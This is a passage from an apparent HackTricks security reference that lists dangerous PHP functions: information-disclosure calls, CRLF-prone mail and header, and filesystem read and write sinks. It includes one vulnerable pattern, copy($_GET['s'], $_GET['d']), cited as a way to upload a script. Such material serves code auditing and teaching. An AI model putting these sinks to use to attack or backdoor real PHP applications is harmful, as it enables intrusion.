'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
|
||
|
'sqlite_create_aggregate' => array(2, 3),
|
||
|
'sqlite_create_function' => 2,
|
||
|
```
|
||
|
|
||
|
### Information Disclosure
|
||
|
|
||
|
Most of these function calls are not sinks. But rather it maybe a vulnerability if any of the data returned is viewable to an attacker. If an attacker can see phpinfo() it is definitely a vulnerability.
|
||
|
|
||
|
```php
|
||
|
phpinfo
|
||
|
posix_mkfifo
|
||
|
posix_getlogin
|
||
|
posix_ttyname
|
||
|
getenv
|
||
|
get_current_user
|
||
|
proc_get_status
|
||
|
get_cfg_var
|
||
|
disk_free_space
|
||
|
disk_total_space
|
||
|
diskfreespace
|
||
|
getcwd
|
||
|
getlastmo
|
||
|
getmygid
|
||
|
getmyinode
|
||
|
getmypid
|
||
|
getmyuid
|
||
|
```
|
||
|
|
||
|
### Other
|
||
|
|
||
|
```php
|
||
|
extract // Opens the door for register_globals attacks (see study in scarlet).
|
||
|
parse_str // works like extract if only one argument is given.
|
||
|
putenv
|
||
|
ini_set
|
||
|
mail // has CRLF injection in the 3rd parameter, opens the door for spam.
|
||
|
header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
|
||
|
proc_nice
|
||
|
proc_terminate
|
||
|
proc_close
|
||
|
pfsockopen
|
||
|
fsockopen
|
||
|
apache_child_terminate
|
||
|
posix_kill
|
||
|
posix_mkfifo
|
||
|
posix_setpgid
|
||
|
posix_setsid
|
||
|
posix_setuid
|
||
|
```
|
||
|
|
||
|
### Filesystem Functions
|
||
|
|
||
|
According to RATS all filesystem functions in php are nasty. Some of these don't seem very useful to the attacker. Others are more useful than you might think. For instance if allow\_url\_fopen=On then a url can be used as a file path, so a call to copy($\_GET\['s'], $\_GET\['d']); can be used to upload a PHP script anywhere on the system. Also if a site is vulnerable to a request send via GET everyone of those file system functions can be abused to channel and attack to another host through your server.
|
||
|
|
||
|
**Open filesystem handler**
|
||
|
|
||
|
```php
|
||
|
fopen
|
||
|
tmpfile
|
||
|
bzopen
|
||
|
gzopen
|
||
|
SplFileObject->__construct
|
||
|
```
|
||
|
|
||
|
**Write to filesystem (partially in combination with reading)**
|
||
|
|
||
|
```php
|
||
|
chgrp
|
||
|
chmod
|
||
|
chown
|
||
|
copy
|
||
|
file_put_contents
|
||
|
lchgrp
|
||
|
lchown
|
||
|
link
|
||
|
mkdir
|
||
|
move_uploaded_file
|
||
|
rename
|
||
|
rmdir
|
||
|
symlink
|
||
|
tempnam
|
||
|
touch
|
||
|
unlink
|
||
|
imagepng // 2nd parameter is a path.
|
||
|
imagewbmp // 2nd parameter is a path.
|
||
|
image2wbmp // 2nd parameter is a path.
|
||
|
imagejpeg // 2nd parameter is a path.
|
||
|
imagexbm // 2nd parameter is a path.
|
||
|
imagegif // 2nd parameter is a path.
|
||
|
imagegd // 2nd parameter is a path.
|
||
|
imagegd2 // 2nd parameter is a path.
|
||
|
iptcembed
|
||
|
ftp_get
|
||
|
ftp_nb_get
|
||
|
scandir
|
||
|
```
|
||
|
|
||
|
**Read from filesystem**
|
||
|
|
||
|
```php
|
||
|
file_exists
|
||
|
-- file_get_contents
|
||
|
file
|
||
|
fileatime
|
||
|
filectime
|
||
|
filegroup
|
||
|
fileinode
|
||
|
filemtime
|
||
|
fileowner
|
||
|
fileperms
|
||
|
filesize
|
||
|
filetype
|
||
|
glob
|
||
|
is_dir
|
||
|
is_executable
|
||
|
is_file
|
||
|
is_link
|
||
|
is_readable
|
||
|
is_uploaded_file
|
||
|
is_writable
|
||
|
is_writeable
|
||
|
linkinfo
|
||
|
lstat
|
||
|
parse_ini_file
|
||
|
pathinfo
|
||
|
readfile
|
||
|
readlink
|
||
|
realpath
|
||
|
stat
|
||
|
gzfile
|
||
|
readgzfile
|
||
|
getimagesize
|
||
|
imagecreatefromgif
|
||
|
imagecreatefromjpeg
|
||
|
imagecreatefrompng
|
||
|
imagecreatefromwbmp
|
||
|
imagecreatefromxbm
|
||
|
imagecreatefromxpm
|
||
|
ftp_put
|
||
|
ftp_nb_put
|
||
|
exif_read_data
|
||
|
read_exif_data
|
||
|
exif_thumbnail
|
||
|
exif_imagetype
|
||
|
hash_file
|
||
|
hash_hmac_file
|
||
|
hash_update_file
|
||
|
md5_file
|
||
|
sha1_file
|
||
|
-- highlight_file
|
||
|
-- show_source
|
||
|
php_strip_whitespace
|
||
|
get_meta_tags
|
||
|
```
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|